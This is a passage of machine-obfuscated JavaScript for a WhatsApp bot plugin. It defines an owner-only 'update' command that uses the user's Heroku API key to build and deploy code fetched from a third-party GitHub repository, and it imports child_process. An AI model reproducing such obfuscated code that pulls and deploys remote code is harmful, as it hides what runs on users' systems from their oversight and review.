_0x107f22*_0x41d797;},'YHxqI':function(_0x4d8e69,_0x462272){return _0x4d8e69(_0x462272);},'dkEsa':function(_0x4df26f,_0x5affb9){return _0x4df26f/_0x5affb9;},'UqoKi':function(_0x588cad,_0x56881d){return _0x588cad+_0x56881d;},'tQFNh':function(_0x161116,_0x52136d){return _0x161116/_0x52136d;}},_0x452aec=_0x50d5,_0x52ab8c=_0x251823();while(!![]){try{const _0x15d612=_0x516e9d['FRqRQ'](_0x516e9d['afbzx'](_0x516e9d[_0x524e20[_0x28e642(0x158)]](_0x516e9d['miwsv'](_0x516e9d['YHxqI'](parseInt,_0x524e20['kEVVa'](_0x452aec,0x1470*0x2+0x54*0x8f+-0x403d*0x1+(-0x23b*-0xd+-0x3*0x1c1+-0x105b)*-(0x902+0x13af+-0x1cb0)+-(0x25b6*0x1+0x12fb+0x3*-0xdfc)))/_0x524e20[_0x28e642(0x161)](-((-0x25f*0x2+0x1*-0xaf+-0x8f*-0xa)*(0x3*0xc25+0x362*0x2+-0x2b0a)+-(0xbec*-0x2+0x23de+-0x875)*(-0x1*0xaba+0x1721*-0x1+0x21dc)+_0x524e20[_0x28e642(0x150)](-(0x14ad*0x1+0x85+-0x13ad*0x1),0x7*0x5f+-0x183*0x12+0x189e*0x1))*(_0x524e20['hbqBk'](-(0x1bc1+-0x1*0x1b15+-0xa3*0x1),-0x1*0x2530+-0x696+0x2e25)+-(-0x3116+0x1dda*-0x2+-0x8eec*-0x1)+(0x5f6a+0x3c69+-0x6443))+-(-(-0x4e1*0x4+0x920*-0x2+0xfb*0x46)*(0xb75+-0x14ca+0xef*0xa)+-(0x603+-0x46a+-0xc*-0x4d)*-(-0x2103+-0x21a*-0x10+-0x9b)+(0xb*0x365+-0x241d+0x1ab1*0x1)),_0x524e20[_0x28e642(0x150)](0xcd*-0x1d+-0x1*0x1319+0x3314,-(-0x1786+-0x1b6b*-0x1+-0x3de))+-(-0x6*-0x9eb+-0x1*-0x25ac+-0x3fe5)*(0x10ef+0x1bb5+-0x27*0x125)+-(0x1*0xa0b+-0x1*0x3a6+0x4*-0x199)*-(0xa033+0x46a0+-0x5eb7)),_0x516e9d[_0x28e642(0x168)](-parseInt(_0x452aec(-0x1a3*-0xa+0x10bf+-0xdef+(0x1a86+0x104c+-0x1*0x2ac9)*-(0x57*-0x1+-0x1d21+0x1f92)+-(-0x869*0x1+0x24b5+-0x1c4b*0x1)*-(-0x224e+-0x72*0x3+0x24bf))),_0x524e20['NQVrw'](-(-0x1*0x1423+-0x1*-0x1f66+0x15*0x85)+(-0xca7+-0x26a1+0x3808)*-(-0x44d+-0x9b*-0x1+-0x3b3*-0x1),(-0x11ab*0x1+0x920+-0x482*-0x2)*(-0x2104+0x117b+-0x7e1*-0x2))*((-0x8b3*-0x2+0x4*-0x3bf+-0x265)*-(0xd60+-0x955*0x1+-0x1*-0x369)+-(0x2590+-0x2276*-0x1+0x3d8*-0xd)+(-0x6*-0x879+-0x40ad+0x49eb))+((-0x1*0x40+-0x172c*-0x1+-0x16ea)*-(0x9e*-0xd+-0x2379*0x1+0x2ec5)+-(0xc1*-0x26+0x5*0x197+0x225c)+(-0x6*-0x577+0x4*0x139+-0x439*0x1))+-(-(0x1*0x322+-0x7*0xcd+0x28a)*(-0x1*0x2147+0x2*-0x76d+-0x187a*-0x2)+-(0xbdb*0x3+0xcc4*0x1+0x2*-0x12c3)*(-0x1*-0x1639+0x2325*-0x1+-0x1*-0xcee)+(-0x1ce1+-0x3cde+0x8e68))))+-_0x524e20['kEVVa'](parseInt,_0x452aec(-(-0x149d+-0x2522+0x1*0x5c7d)+(-0x43b*-0x11+-0x1*-0x3443+-0x1*0x5597)+-(-0x247e+-0xc*-0x223+0xadb)*(0x1d49+0x5a7+-0x6*0x56b)))/(-((0x2a1+-0x8d5+0x635)*(-0x5d0+0x3*-0x51a+-0x2b*-0xb3)+_0x524e20['hbqBk'](-(0x225d+0x2455+-0x46b1),0x1580+-0x3*-0x22b+-0x149b)+(0x6*0x12d+0x2*0x9d+-0x57a))+-(-0xdf*0x1c+-0x3af*0x6+0x41d1+-(0x13b9+0x202*0xb+-0x1*0x225f)+(0x24b4+0x11fa+-0x32d7)*-(0x2593+0x1*-0x3ea+-0x21a6))*-(0x2ad9+-0x2c03+0x277a+(-0xf18+0x1477+-0x55e)*(-0x3*-0xdff+0x1*-0x1f60+0x1bdc)+-(-0x3a1a+0x51d5+0x34e3))+-(-(0x1*-0x1097+-0x1*-0x2279+-0x965)+-(-0x2*0x3fb+-0x19*0x1d+0x2c2*0xb)*(0xcaf*0x1+-0x6d+-0xc41)+-(-0x131e*0x1+0x1b9e*0x1+0x61*0xf)*-(0x3fa*-0x5+-0x547+0x1*0x192b))*(_0x524e20['juyNQ'](-0x60*0xa+-0x3e1+0x7cc,-(-0x84*-0x21+-0x1b1f+0xac7))+-(-0x2077+-0x2567+0x4657)*(0x21e8+-0xdb0+0x1*-0x142e)+(-0x353f+-0x3*-0xf4f+-0x5de*-0x7))),-parseInt(_0x524e20['JdPeX'](_0x452aec,_0x524e20['VUjEm'](-0x71d+0x2130+0x49e+-(-0x26ea+0x41c+0x5*0xacf)*(-0x77*-0x8+0x361*0xb+-0x28e1),_0x524e20[_0x28e642(0x150)](0x626+-0x336*0x1+-0x319*-0x2,-0xab0+0x4*0x943+-0x1a5b))))/_0x516e9d[_0x298c61(0x2*-0x6ee+-0x1cdb+0xae7*0x4)]((-0x12d9+0x1af4+0x713+(0xb2*-0x13+0xd*0x295+-0x12fa)*-(0xb08*0x1+0xb19+0x16*-0x101)+-(0x5*-0x3aa+0x11a0*0x1+0xb3*0x1)*(-0x1b46+0x6ac+0x149c))*((0x956+0x1*0x9d+-0x9e8)*(-0x17f+0x1795+-0x1505)+-(-0x5*0x583+-0x1fbb+0x1*0x604f)+(-0x2abb+0x2930+0x1cd*0xf))+(_0x524e20['NQVrw'](-(0x1d*0x2+-0x425*0x9+-0x8*-0x65f)*-(-0x1*0x36+0xede+-0xea7),(0x24c*0x8+0x24bf+-0x371e)*-(0x18f5+0x49*0x6d+-0xe*0x2a4))+_0x524e20['QECzM'](-(-0x1c55+0xb87+0x10cf),-(-0x1*0x2173+0x26*0x13+0x33aa))),-_0x524e20['Addmd'](-(-0x2792+-0x1b7b+0x595d)+-(-0x22fa+-0x211d+-0x883*-0x8)*-(0x1e9+0x2361*0x1+-0x128d),-0x1*0x2291+-0x17*0x7+0x27ea)*(-(0x3a9*0x3+-0x87b+-0x277)*-(0x857+0x4*0x75+-0x702)+(0x1d*-0xa9+-0x2a1f+0x53be)+(0x2141+-0x65*-0x29+0x1*-0x316d)*-(-0x3b81+0x278f+0x1*0x46cf)))),-parseInt(_0x452aec(-(-0x267f+0xa0*-0x1d+0x76*0x7b)*(0x259+-0x30b*0xb+0x1fa3)+(-0x341d+-0x6*-0x52e+0x343d)+-(-0xa33+-0x1*0x467+0x22bd)))/(_0x524e20['NQVrw'](_0x524e20['GfIlI'](0x5*-0x18f+0x449*0x2+-0x86,0x1*-0x18ad+-0xea1+-0x13bd*-0x2),-(0x4*-0x1+-0x41*0x23+0x1b69))+(-0xef*0x25+0x832*0x1+-0x1*-0x2c41)+(-(-0x1cc3+0x11*0x10d+0x139a)*-(0x1*0x1b05+-0x1*0x26e6+0x1fb*0x6)+-(0x5*-0x38f+-0x1626+0x283a)*(-0x2006+-0x75f+0x2*0x13b5)+(-0x218+0x17bd*-0x1+0x1a00)*-(-0x16ca+-0x1374+0x2a69))*_0x524e20['Addmd'](-(0x1422+0x242*-0x11+0x1ae8)*(-0x523*0x4+-0x1967+0x2df7)+(0x1e3b+-0x1131+0xb9e),0x1736+-0x62d*0x6+0x43*0x5b)+-((0x1e8a+-0x22b8+0x469)*(0x1*-0xe1d+0x1ca2+-0xe08)+-(0x15fa+-0x1db4+0x3c*0x21)*-(0x2572*0x1+-0x7*-0x4db+-0xf2*0x39)+(0x5*-0xa41+0x141f*-0x2+0x90d1)*-(-0x3*-0xb03+-0x5*0x2ef+0x61f*-0x3))))+-parseInt(_0x452aec(-(0x14d1*0x1+0x1f94+-0x3460)*(-0x20*-0x6+0x1a8a+-0x1*0x1a0e)+-(0x7d8+-0xff+0x21*-0x35)*-(-0x1*-0x145c+0xa49+-0x2*0xb53)+_0x524e20['IeUPq'](-(-0x4f8+-0x570+0xa73),0x156a+0x103*0x5+-0x1842)))/(-(-(-0xf95*-0x1+0x20c0+-0x3*0x806)*-(-0x1*0xdb+-0x1*0xe62+-0x2*-0x79f)+-(-0xbf*-0x25+0xe7b*-0x2+0x446)*-(-0x35*0x34+-0x2494*-0x1+-0x19c9*0x1)+-(0x4f*-0x55+-0x15a5+0x30e1)*(0x57b*0x6+-0xb*0x224+0x33*-0x2e))*-_0x524e20['Addmd'](-(-0x1*0x11c8+-0xb9a+0x1dac)*-(-0x7*-0x16c+0x54f*0x1+-0xf0e)+(0x1*0x194+-0x1d89+-0x13*-0x24d)*-(-0x404*0x6+0x5*-0xe9+0x1ca6),-0x7c7+0x1cb9+-0x145b)+-(-(0xc77+0x1*-0xb51+0xc79)*-(-0x1f62+0x57a+0x19e9)+-(0x35f*0x8+0x1*-0x124f+-0xd29*-0x1)+-(0x2255+0x1cce+0x6*-0xa2e)*-(0x1*-0xba7+0x2*-0x892+0x1ccf))*((0x4c*0x6d+0x1bc5+0x7*-0x892)*(0xea9+-0x1560+0x2b*0x28)+(0x14a0+0x14c9+-0x138d)+(0x3b*-0x84+-0x8f0+0x3105)*-(0x19de+-0x21*-0x61+-0x265d))+((0x2613+-0x29*-0x17+0x7*-0x5f7)*(-0xb*0xb5+-0x1c8e+0x1*0x2fe7)+(-0x1*-0x160f+0x202c+-0x361f)*-(0x110d+0x38b*-0x6+0x48f)+(-0xd0*0x2+-0x2f*0x25+0xab0))),_0x516e9d['tQFNh'](-parseInt(_0x452aec(-(0x2*-0x74f+0x3*0x341+0x1a40)+-(-0x3d1+0xa*-0x3a6+0x29*0x157)+(-0x24d3+-0x26b6+0x4*0x1c3d))),-((-0x1*-0x167+0x4*-0xa0d+0x4*0x10d9)*-(-0x85+0x6ad*0x3+-0x1381)+(-0x816*-0x1+-0x73*0x23+0x883)*-(0x1*0xd9d+-0xe4c+0xc7)+(-0xfe7+0x1*-0x3215+0x7395)*(0x14eb+0x1*0xec+-0x22f*0xa))*-((0xb4d+0x19ac+-0x24f8)*-(-0x391+0x5*-0x3b9+0x1d62)+(-0x485+-0x17e7*-0x1+-0x44f)+(-0xf*0x1a7+-0x16c*-0x1+0x1bbf*0x1))+-(-0x108c+-0x1*-0x1091+-0x44e*-0x6+-(-0x4bd4+0x3d79*-0x1+0xb053)+(0x1f7*-0x13+0x2163+0x1126))*((-0xc4b+0x1414+-0x643*0x1)*(-0x1*0x24a1+0x779*0x3+0xe3d)+(-0xd*-0x29b+-0xc82+-0x15*0xb3)+-(0xe0f+0x100+-0x31c))+(0x680+0x2*-0x1433+0x1*0x364f+-(-0x245c+-0x1d07+0x4164)*-(-0xfb*0x25+0x1*-0x1d71+0x488f)+-(0xd6d+0x3df*0x1+0x47*-0xc)))*(-parseInt(_0x452aec(-(0x19*-0xb2+0x1c8e+0x1a*0xd7)+(0x3225+-0x3120+0x1c0e)+(-0xe91+-0x11e+-0x13*-0x11b)))/(-(-(-0x11ef+0x2231+-0x1026)*(-0x148c+0x1*-0x2056+0x11fb*0x3)+-(-0x2878+0x10c1*-0x1+0x50e9)+(-0x443b+0x3ca7+0x3d70))*(0x1266+-0x5d*0x11+-0x1*-0xb18+(-0x55f+0x2a02+-0x137*0x2)+-(-0x1685+0x96e+0x1*0xd21)*(0x2069+-0x1*0x18da+0x1d*-0x10))+(-0xe5*0xe+-0x2f*0x6c+0x2f99+(-0x19*0xd3+-0x23db*-0x1+-0x50b)+(-0xe84+0xaa8+-0x55b*-0x1)*-(-0x19*0x17f+0x43*0x36+0x1756))*(-0xdf3*0x1+0x1552+0x17*0x4f+-(0xdf3+-0xf92+-0x13*-0x9d)+-(-0x1*-0x13d5+0x1765+0x1*-0x28e2))+(-(0x20a0+-0x1a3*-0x17+0xe0b*-0x5)*(0x1659*0x1+0xacb+0x5*-0x69b)+(-0xad5+0xcb6+-0x1*-0x1d1e)+-(-0x1d86*0x1+-0xe*0xab+0x4259))*-((0x1a2e+-0x9*-0xd3+0x2e*-0xb8)*(-0x5b3*0x2+0x3*0x7e4+0x31*-0x3f)+(-0x17*-0x83+-0x551+-0x3f)+-(0x35ee+-0x7d*-0x33+-0x2b32)))))+-parseInt(_0x452aec(-(0x89*-0x2a+0x1e67*0x1+0x9d0*0x1)+-(-0x5c2+-0x1*-0x80f+0x24a*-0x1)*(-0x1*0x2686+0x8c3+0x1*0x1eee)+-(-0x18f1*-0x1+-0x336+-0x15ba)*-(-0xb*-0x1b1+-0x2*-0xf91+0x1b23*-0x1)))/((0x2b*-0x25+-0x18c+-0x5*-0x5fc+(-0x3*-0x8da+0xf7b+-0x1*0x27ee)+-(-0x17*0x1a1+0x716*0x1+0x2a69))*(_0x524e20['hOlTk'](-(0x3bab+0x43b9*0x1+-0xe9*0x65),(0x1*-0xa49+0x2*-0x1062+0x2e0c)*-(0x167c*0x1+0xa8c*0x3+0xe3*-0x3d))+(-0x5*-0x869+0x4fd5*0x1+-0x321*0x13))+-(-(-0x8f9*-0x4+0x445+-0x310*0x8)+-(0x811*-0x2+0x1315+0x13*0x91)+(-0x1*0x395+0x527*0x3+-0x2*-0x90f)*(-0x6d2*0x4+0x161f+0x52a*0x1))*-(_0x524e20['QECzM'](-0x1*0xa5e+-0x56+-0x1ddf*-0x1,-0x23a8+0x5da*-0x5+-0x67e*-0xa)+(0xad*0x3+0x3*-0x1be+-0x11*-0x148)+_0x524e20['lxSXg'](-(0x1560+-0x5*0x623+-0x577*-0x3),0xa5*-0x2b+0xf9*0x6+-0x47*-0x4f))+((0x14*0x5e+0x93*-0x13+0x42e)*(-0x2*-0x269+0x12*-0x20a+0x9*0x38f)+-(-0x3*-0x9+-0xcfc+-0x671*-0x2)*(-0x2e4e*-0x1+0x19e1+-0x1843*0x2)+(0x7*0x498+0x1*0x1bc1+0x3be7*-0x1)*(-0x12*0x9d+0x97e+0x20c))*-((-0x228+0x9be+-0x60b)*-(-0x182e+0x1c8+0x1669*0x1)+_0x524e20['nrxHN'](-(0x12b3*0x2+0x151*-0x3+-0x2171*0x1),-0x8ad*0x3+-0x17*-0x10f+-0x6a3*-0x2)+(0x6*0x305+-0x1*0x862+-0x86e)*(-0x430*0x2+0xfd0*-0x1+0x2*0xc25)))*(-parseInt(_0x452aec((-0xdcd*-0x2+-0xc14*-0x3+-0x27*0x1a3)*(-0x1d0e*0x1+-0x201e+-0x1*-0x4159)+(-0x1e+-0x1ec2+-0x1*-0x343c)+(-0x1b99+-0x4*0x6+0x4*0x716)*-(0x2d*0x5+0x20+-0xb*0x14)))/(-((0x150f+-0x226b+0xe08)*(0xd*0x1d+-0x38e+-0x5*-0x6f)+(0x1c9*0x12+0x2ab7+-0x32ce)+_0x524e20['nrxHN'](0xd*-0x2f0+-0x178d+-0x92*-0x6d,-(0x1694+-0x144+-0x1533)))+-(-(-0x1349+-0x4*-0xf3f+-0x4*0x272)+(0x1e8f*-0x1+0x1*0x182d+0x17*0xe5)+(0x313d+0x1*-0x195b+0x76*0x33))+_0x524e20['QECzM'](-(-(0x2171+-0xd*-0x157+-0x1*0x28bb)+-(0x25b9+0x1719+-0x214c)+(-0x9*-0x603+-0xc*0x5b3+0x3456)),-(-(-0x13f3+0x1b9c+-0x1*0x65)*(0x1ce2+0x161*-0x16+-0x175*-0x1)+(0x1773+0x1f9c+-0x36a5*0x1)+(0x2*0x12b3+0x156+-0x1f55)))));if(_0x15d612===_0x5225a3)break;else _0x52ab8c['push'](_0x52ab8c[_0x28e642(0x169)]());}catch(_0x45b872){_0x52ab8c['push'](_0x52ab8c['shift']());}}}(_0x3794,-(-(-0x1874+-0x2d4*-0xd+0x89*-0x17)*(-0x1*0x102e67+0x4fb60+0x155f48)+-(-0x1*0x726d3+-0x16100+0x1*0x16d527)+(0xd108a*-0x2+0xc1b3d+0x2dd013))+((0x1841+-0x1*-0x88d+-0x1c0d)*-(-0x1f4f+0x23*-0xf+0x21df)+-(0x2c777+0xd58a+0x11569*-0x1)+(-0x1f7c+-0xb95*-0x1+0x13f0)*(0x4156*0x2+0x10f*-0x92+0xdb6b))+(-(0x68187+-0xd4680+0x155528)+-(-0x1*0xb8f8a+-0x779ef+0x25cb9a*0x1)+-(-0x34d68b+-0x267571*-0x1+-0x7793*-0x7d)*-(0xd0f+0x111e+-0x1e2c*0x1))));const {zokou}=require(_0x379099(-(0x29a+0x1c1+-0x456)*-(-0x19f*0x3+0x1bcc+-0x1556)+-(0xd72+-0x16f*0xd+0x299*0x2)*(0x2b8b*0x1+-0x2f3+-0x7f5)+(0x1e9d+0x1f5d+-0x3a5*0x11)*(0x16d4+0x366+0x5*-0x434))+'rk/zokou'),Heroku=require(_0x379099(-(0x47*0x8b+-0x18e3+0x1*-0xbfd)*(-0xcdb*0x3+-0xe8*0x28+-0x12b5*-0x4)+(-0x9*-0x3f1+-0xfde+-0x139a)*-(-0x2039+-0x1791+-0x2*-0x1d30)+-(0xc*-0x290+0x1*0x1132+0x120f)*-(-0x300+0x1d3f+-0x1a3d))+'ent'),s=require('../set'),axios=require('axios'),speed=require('performanc'+'e-now'),{exec}=require('child_proc'+'ess'),conf=require(__dirname+'/../set');function _0x50d5(_0x24231e,_0x3e2373){const _0x4f3751={'UaFKH':function(_0x548409,_0x36978c){return _0x548409*_0x36978c;},'AQRfv':function(_0x2642b0,_0x369c5a){return _0x2642b0+_0x369c5a;}},_0x2dc685=_0x3794();return _0x50d5=function(_0x2fbef2,_0xfb24c3){_0x2fbef2=_0x2fbef2-(_0x4f3751['UaFKH'](_0x4f3751['AQRfv'](-(0x1ce4+0x257e+0x1*-0x3fa3)+(-0x831+0x1250+-0xa1d)*(-0x2170+-0x13e0+0x3771),-(-0x1b15*0x1+-0x1952*0x1+-0x204*-0x1a)*-(-0x1338+0x1*-0x1885+-0x3387*-0x1)),_0x4f3751['UaFKH'](-0xd83+0x2264+0x910,-0x8e3+-0x2167+0x2a4b)+_0x4f3751['UaFKH'](0x24b*0x6+-0xd*0xd9+-0x76,-0x5c7*-0x5+0x2*-0xae1+-0x2*0x38b)+-(-0x1*-0x5615+-0x46f9*0x1+-0xd4b*-0x3))+-(-(0x24a*-0x7+-0xd3*0x26+0x334e)*(0x16c3*-0x1+-0xfb9+0x2683)+(-0x765+0x1ff8+-0xf92)*-(0x8b*-0x6+-0xb*-0x149+-0xadb)+-(0x26*0x53+0x6c7*-0x5+0x1d83*0x2)*-(-0x1de3+-0x1*0x1e02+-0x1aa*-0x24))+_0x4f3751['AQRfv']((-0xdb*0xa+-0xc79*0x1+0x1*0x18a7)*(-0x1ef3*-0x1+0x1532+0x341c*-0x1)+-(0x1*-0x471+-0x3ac+-0x13f4*-0x2)*-(0x18b8+0x17b8+0x1025*-0x3),_0x4f3751['UaFKH'](-(-0x463*0x1+0x227*0xe+-0x19be),0x2dfd+-0x4c83+0x484c)));let _0x44c6e6=_0x2dc685[_0x2fbef2];return _0x44c6e6;},_0x50d5(_0x24231e,_0x3e2373);}function _0x365b(){const _0x5ac801=_0x150b,_0x4b6749={'kNduP':'215314ZhoV'+'em','iKMQn':'the\x20Heroku','KxyqY':'20sqLHNQ','oxqEh':'9793nGhZCc','pdGuR':'1530aKYpeu','WGnKw':'1224228loG'},_0x2808a7=['and\x20is\x20res','post','14988giovr'+'G','\x20the\x20bot\x20o',_0x5ac801(0x176),'*Failed\x20to',_0x4b6749['kNduP'],_0x5ac801(0x16b),'data','ils:','ersion=3','395tzHkVY','nd\x20Heroku\x20','CEkhe','7468GJPook','UqoKi','vEUas','462irBgAY','LACK-MD/ta',_0x5ac801(0x183),'i.heroku.c','57695DGsjx'+'Q','Bearer\x20','ku+json;\x20v','2500904xbi','810tjqlDi','549KgYsKl','tall\x20the\x20l','sync',_0x4b6749['iKMQn'],'https://ap',_0x4b6749['KxyqY'],_0x4b6749['oxqEh'],'13480QrHuM'+'x','nd\x20`HEROKU','PlNmk',_0x5ac801(0x181),_0x4b6749['pdGuR'],'_API_KEY`\x20','*This\x20comm','n/vnd.hero',_0x4b6749['WGnKw'],'\x20have\x20set\x20','orrectly.*','\x20`HEROKU_A','91Sbqgsm','ase\x20make\x20s','ion\x20of\x20𝗕𝗘𝗟'];return _0x365b=function(){return _0x2808a7;},_0x365b();}zokou({'nomCom':'update','aliases':['redeploy',_0x2f3c8d(-0x15e*-0x2+-0x264e*-0x1+-0x2848)],'categorie':'system'},async(_0x26065e,_0xec3195,_0x5344cc)=>{const _0x1bbc42=_0x150b,_0x4d573d={'YKmAP':function(_0x1a9587,_0x3e31f1){return _0x1a9587+_0x3e31f1;},'bGNUD':'https://gi','GwVuM':'eltah254/B','MEwvz':function(_0xe023ba,_0x45c705){return _0xe023ba+_0x45c705;},'wqmRN':function(_0x48d13a,_0x322647){return _0x48d13a+_0x322647;},'AxkgW':'atest\x20vers','ryqtw':'hEHCL','TflgO':'\x20API\x20key\x20a','XhWeJ':function(_0xd144aa,_0x4405cb){return _0xd144aa+_0x4405cb;},'gobbi':'BznuG','tLMHW':function(_0x30d210,_0x2230a6){return _0x30d210(_0x2230a6);},'kujdb':'environmen','XPhUB':function(_0x13dd1b,_0x220a30){return _0x13dd1b(_0x220a30);},'GKrAD':'wner\x20or\x20Be','okIXr':'ltah\x20Tech*','RNUmJ':'mpqdC','BcIaL':'_NAME','JYcNx':function(_0x1f760d,_0x54e168){return _0x1f760d+_0x54e168;},'MVYGi':function(_0x57b05e,_0x28ec15){return _0x57b05e*_0x28ec15;},'nuMGP':'ve\x20set\x20the','qDZMb':'t\x20variable'},_0x32ed7d=_0x2f3c8d,_0x3512ec={'hEHCL':function(_0xb9183b,_0x272061){return _0xb9183b+_0x272061;},'uRhIA':_0x4d573d['tLMHW'](_0x32ed7d,0x107c+0x20*-0x2e+-0x4*0x27e),'crBNv':_0x32ed7d(0x117d+-0x18ed*0x1+0x85d),'dRkbz':function(_0x432c14,_0x358b3b){return _0x432c14+_0x358b3b;},'BgWvf':'wait\x202\x20min','bpaCj':'log','BznuG':function(_0x24521d,_0xd2a0dd){return _0x24521d+_0xd2a0dd;},'OiQAz':'*Failed\x20to','SmvRp':function(_0x5d48fd,_0x271060){return _0x5d48fd+_0x271060;},'rTUWQ':_0x32ed7d(-0x1dad+0x26d3+0x1*-0x850),'mpqdC':'HEROKU_APP','reDtC':'It\x20looks\x20l','bbWhR':'PP_NAME`\x20a','oqxlO':_0x4d573d['kujdb']},_0xf1bd16=_0x379099,_0x5bbaef={'uEmMJ':function(_0x55b4d1,_0x1a89bf){return _0x55b4d1(_0x1a89bf);}},{repondre:_0x202c71,superUser:_0x1236ef}=_0x5344cc;if(!_0x1236ef)return _0x202c71(_0x4d573d['wqmRN'](_0x4d573d['XPhUB'](_0x32ed7d,-0x595*-0x3+0x1678+-0x95*0x42)+_0x3512ec['rTUWQ']+'tricted\x20to'+'\x20the\x20bot\x20o'+_0x4d573d['GKrAD'],_0x4d573d[_0x1bbc42(0x17c)]));const _0x477fd0=s[_0x3512ec['dRkbz'](_0x3512ec[_0x4d573d['RNUmJ']],_0x4d573d['BcIaL'])],_0x171099=s[_0xf1bd16((0xd30+0x1*0x1ef1+-0x2c20)*-(0x253*0x1+0x2167+-0xd9b)+(0xc*0x4c+-0x183f+0x39aa)+-(0x2015+-0x1c9c*-0x1+-0x4*0xbcf))+_0xf1bd16(0x3*0xc2b+0x2120+-0x31ec+-(-0x2186+0x6b1*0x1+0xe33*0x3)+-(0x1cd7+0x1df9+-0x2*0x1c1b))];if(!_0x477fd0||!_0x171099){await _0x202c71(_0x4d573d['MEwvz'](_0x3512ec['dRkbz'](_0x4d573d['JYcNx'](_0x3512ec['reDtC']+_0x1bbc42(0x149)+'roku\x20app\x20n','ame\x20or\x20API')+_0x4d573d['tLMHW'](_0xf1bd16,_0x4d573d['MVYGi'](-(-0x799+-0x19db+0x22d3),-0x22a*-0x5+-0x1*0x11cf+0x8*0xe0)+(0xea5+-0x18db+0x1505)*-(0x21*-0x8b+-0x1898+-0x1*-0x2a85)+(-0xfc1*-0x3+-0x1*-0x1931+0x1*-0x2d49))+'t\x20set.\x20Ple'+_0xf1bd16(-(0x2cf*0x2+0xd87*-0x1+0xb00)*-(0xc9*-0xd+-0x1661*0x1+0x4a9*0x7)+-(0x3249+0x379+-0x1c87)+-(-0x11dd+0x1464+-0x168)),'ure\x20you\x20ha')+_0x4d573d['nuMGP']+'\x20`HEROKU_A'+_0x3512ec['bbWhR']+'nd\x20`HEROKU'+_0x32ed7d(0x126d+-0x608+-0xb99)+_0x3512ec['oqxlO'],_0x4d573d['qDZMb'])+'s.');return;}async function _0x442f00(){const _0x4bca78=_0x1bbc42,_0x11b0c1=_0x32ed7d,_0x521416=_0xf1bd16;try{const _0x5dc8eb=await axios[_0x4bca78(0x167)](_0x3512ec['hEHCL'](_0x3512ec['uRhIA']+_0x521416(-(-0x2442+-0x24c+0x2c07)*(0xba7+-0x158f*-0x1+-0x1*0x2135)+(-0x2268+-0x185f+0x3ba3)*(0x1d1f+-0x235b+0x659)+-(-0x2b3*-0xd+-0x3dc*0x2+-0x95e)),'om/apps/')+_0x477fd0+'/builds',{'source_blob':{'url':_0x4d573d['YKmAP'](_0x4d573d['bGNUD'],'thub.com/B')+_0x4d573d[_0x4bca78(0x159)]+_0x521416(_0x4d573d['MEwvz'](-(-0x1d*-0xa1+-0x1ed*-0x8+0x1*-0x2098)*-(-0x1064+-0x230f*-0x1+0x6*-0x317),0x2207*0x1+-0x5c6+0x1*-0x18b2)+-(-0x3fda+0x1c34+-0x3*-0x182f))+_0x4bca78(0x148)}},{'headers':{'Authorization':'Bearer\x20'+_0x171099,'Accept':_0x4d573d['wqmRN']('applicatio'+'n/vnd.hero',_0x3512ec['crBNv'])+_0x11b0c1(0x3a4+0x1262+-0x1526)}});await _0x202c71(_0x3512ec['hEHCL'](_0x3512ec['hEHCL'](_0x4d573d['YKmAP'](_0x3512ec['dRkbz']('*Your\x20bot\x20','is\x20getting')+'\x20updated,\x20',_0x3512ec['BgWvf'])+'utes\x20for\x20t','he\x20redeplo')+'y\x20to\x20finis'+'h!*\x0a\x0a\x20*Thi'+'s\x20will\x20ins','tall\x20the\x20l')+_0x4d573d[_0x4bca78(0x165)]+'ion\x20of\x20𝗕𝗘𝗟'+'𝗧𝗔𝗛-𝗠𝗗\x20𝗕𝗢𝗧'+'.*'),console[_0x3512ec['bpaCj']]('Build\x20deta'+_0x4bca78(0x153),_0x5dc8eb['data']);}catch(_0x5f185b){const _0x3a340b=_0x5f185b['response']?.['data']||_0x5f185b['message'];await _0x5bbaef['uEmMJ'](_0x202c71,_0x3512ec[_0x4d573d['ryqtw']](_0x3512ec['BznuG'](_0x4d573d['YKmAP'](_0x3512ec['OiQAz']+'\x20update\x20an','d\x20redeploy'),'.\x20'),_0x3a340b)+(_0x3512ec['SmvRp']('\x20Please\x20ch','eck\x20if\x20you')+_0x11b0c1(-0x16f8+0x1a*0xad+0x6a*0xf)+'the\x20Heroku'+_0x4d573d['TflgO']+'nd\x20Heroku\x20'+'app\x20name\x20c'+_0x4bca78(0x16c))),console['error'](_0x4d573d['XhWeJ'](_0x3512ec[_0x4d573d['gobbi']]('Error\x20trig',_0x4bca78(0x16d)),'eploy:'),_0x3a340b);}}_0x442f00();}),zokou({'nomCom':'update','aliases':['redeploy','sync'],'categorie':'system'},async(_0x5a7b2b,_0x40ab8b,_0xe7b319)=>{const _0x11ceab=_0x150b,_0x5ca54c={'EJDpR':function(_0x5ba52e,_0x87a6){return _0x5ba52e+_0x87a6;},'DRTAQ':_0x11ceab(0x171),'xGtmn':'he\x20redeplo','yXUWU':'atest\x20vers','TQmUp':function(_0x1f1861,_0x52c45b){return _0x1f1861+_0x52c45b;},'ZpnWD':'nd\x20Heroku\x20','OaLDw':function(_0x221923,_0x47120e){return _0x221923+_0x47120e;},'yPCfL':function(_0xb027e8,_0x5a8231){return _0xb027e8*_0x5a8231;},'cIAya':_0x11ceab(0x157),'DJGrP':function(_0x4b6771,_0x18ce54){return _0x4b6771*_0x18ce54;},'rgVBH':function(_0x4ad099,_0x246d73){return _0x4ad099+_0x246d73;},'fjXXC':'ike\x20the\x20He'},_0x46859f=_0x2f3c8d,_0x18da9b={'fMpKR':function(_0x4a76e8,_0x4b87ee){return _0x4a76e8+_0x4b87ee;},'Zlgku':'om/apps/','MpIaL':function(_0x2a1cb5,_0x3eb29f){return _0x2a1cb5+_0x3eb29f;},'UtImK':function(_0x19f7ac,_0x1e40ba){return _0x19f7ac(_0x1e40ba);},'ecMaR':function(_0x224627,_0x532e69){return _0x224627+_0x532e69;},'LvKMr':_0x11ceab(0x15a),'YfOAQ':'s\x20will\x20ins','ofZuk':function(_0x3037db,_0x3b204e){return _0x3037db+_0x3b204e;},'KNTDu':'eploy:','ZFqea':function(_0x498d1d,_0x13265b){return _0x498d1d+_0x13265b;},'mArvV':function(_0x101801,_0x30aa21){return _0x5ca54c['EJDpR'](_0x101801,_0x30aa21);},'MKFpE':_0x11ceab(0x14a),'VazZY':'t\x20set.\x20Ple','CEkhe':'ure\x20you\x20ha','hoJNy':'environmen'},_0x1ba442=_0x379099,{repondre:_0x24a54d,superUser:_0x2ab1ce}=_0xe7b319;if(!_0x2ab1ce)return 